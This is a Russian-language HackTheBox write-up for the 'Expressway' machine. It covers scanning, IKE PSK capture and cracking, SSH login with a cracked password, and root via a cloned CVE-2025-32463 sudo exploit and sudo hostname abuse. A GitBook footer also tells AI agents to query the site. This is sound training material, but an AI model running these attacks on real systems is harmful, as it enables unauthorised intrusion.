> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md).

# Разбор Expressway на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Expressway>" %}

{% hint style="warning" %}
**Навыки:**

* Знания об перечислении и эксплуатации службы IKE
* Перечисление Linux-системы
* Эксплуатация CVE-2025-32462
  {% endhint %}

#### **Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/b91009ef8036fbe3f266c921ab3774546bf8d779" alt="" width="563"><figcaption></figcaption></figure>

#### **Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/f37ed5a74f75fa203a3a6e040af7601f4da4ab02" alt="" width="563"><figcaption></figcaption></figure>

#### **Обнаружение открытых портов с помощью Nmap:**

Первый шаг — определить доступные службы. Мы выполняем быстрый скан TCP- и UDP-портов.

#### Сканирование TCP

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort
```

#### Сканирование UDP

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP
```

<figure><img src="/files/2bd840f8d23ec470c950c7d5abce21c79fb34bcd" alt=""><figcaption></figcaption></figure>

#### Сканирование сервисов и версий

После определения портов мы углубляемся в конкретные службы:

* TCP: порт 22 (SSH)
* UDP: порты 68, 69 (TFTP), 500 (ISAKMP/VPN), 4500 (IPsec-NAT-T)

```bash
nmap -sCV -p22 10.129.238.52 -oN targeted
```

```bash
nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP
```

<figure><img src="/files/db8ff54b9d878a920679f5a61ebb6597a1e20f1f" alt=""><figcaption></figcaption></figure>

### Проникновение: эксплуатация IKE (VPN)

UDP-порт 500 указывает на службу обмена ключами (IKE). Мы пытаемся захватить предварительно общий ключ (PSK) с использованием агрессивного режима.

#### Определение ID

Мы используем `ike-scan` чтобы проверить, включён ли агрессивный режим:.

```bash
sudo ike-scan -A 10.129.238.52
```

* Результат: Рукопожатие успешно. Обнаружен ID: `ike@expressway.htb`.

#### Захват и взлом хэша PSK

<figure><img src="/files/2c7dce9fcb3121a37a57549c42bcc58e028d3977" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

Мы извлекаем хэш, чтобы попытаться выполнить атакаю перебором с помощью `rockyou.txt` словаря.

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* Полученные учетные данные: `ike`: `freakingrockstarontheroad`

<figure><img src="/files/4cfc7632959693acf0bc76fd9b9ab921cce62251" alt=""><figcaption></figcaption></figure>

#### Первоначальный доступ

Подключение по SSH с найденными учетными данными:

```bash
ssh ike@10.129.238.52
```

## Повышение привилегий

Подтверждены два вектора для повышения привилегий до root.

### Способ 1: CVE-2025-32463 (уязвимость sudo)

Проверив версию sudo с помощью `sudo -V`, мы видим, что версия 1.9.17 уязвима.

{% embed url="<https://github.com/MohamedKarrab/CVE-2025-32463>" %}

<figure><img src="/files/b5af7a1182693590975018495edd0a27ad40011d" alt=""><figcaption></figcaption></figure>

1. Клонировать эксплойт:

```bash
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
```

Выполнение скриптов компиляции и эксплуатации:

```bash
./mkall-dynamic.sh
./get_root.sh
```

<figure><img src="/files/69456bceccf0696a10c10fd3f3ebc217a145ef31" alt=""><figcaption></figcaption></figure>

### Способ 2: злоупотребление группой Proxy и hostname

Проверив группы пользователя, мы видим, что принадлежим к группе proxy. Ищем связанные файлы:

<figure><img src="/files/0742c481fbb7c400007640d9f74fb32eefb59d99" alt=""><figcaption></figcaption></figure>

Изучая журналы Squid (`/var/log/squid/access.log.1`)

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="/files/fe0e9abfb95b258598510f772a32c8d5bfbd73ea" alt=""><figcaption></figcaption></figure>

Мы обнаруживаем внутренний поддомен: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="/files/e009597a705ed7d819074b0fb7e79cbb64e101ff" alt=""><figcaption></figcaption></figure>

Проверив политики sudo для этого конкретного домена, мы обнаруживаем, что у нас есть полные права:

```bash
sudo -h offramp.expressway.htb -l
```

Результат: мы можем выполнять любую команду от root в контексте этого хоста.

<figure><img src="/files/08e32b7c805f3e4fc34890e54d84c275dedac6fd" alt=""><figcaption></figcaption></figure>

**Финальное выполнение для Root:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="/files/c86ee9454429986ea46e59537b938fce0a179f88" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/cc14f7a47a3500b1c713a5b5c59d8e3c80f1ad2b" alt="" width="524"><figcaption></figcaption></figure>

<figure><img src="/files/a99933b095528dd495dfe7ca8a7e690ccb80543e" alt="" width="389"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
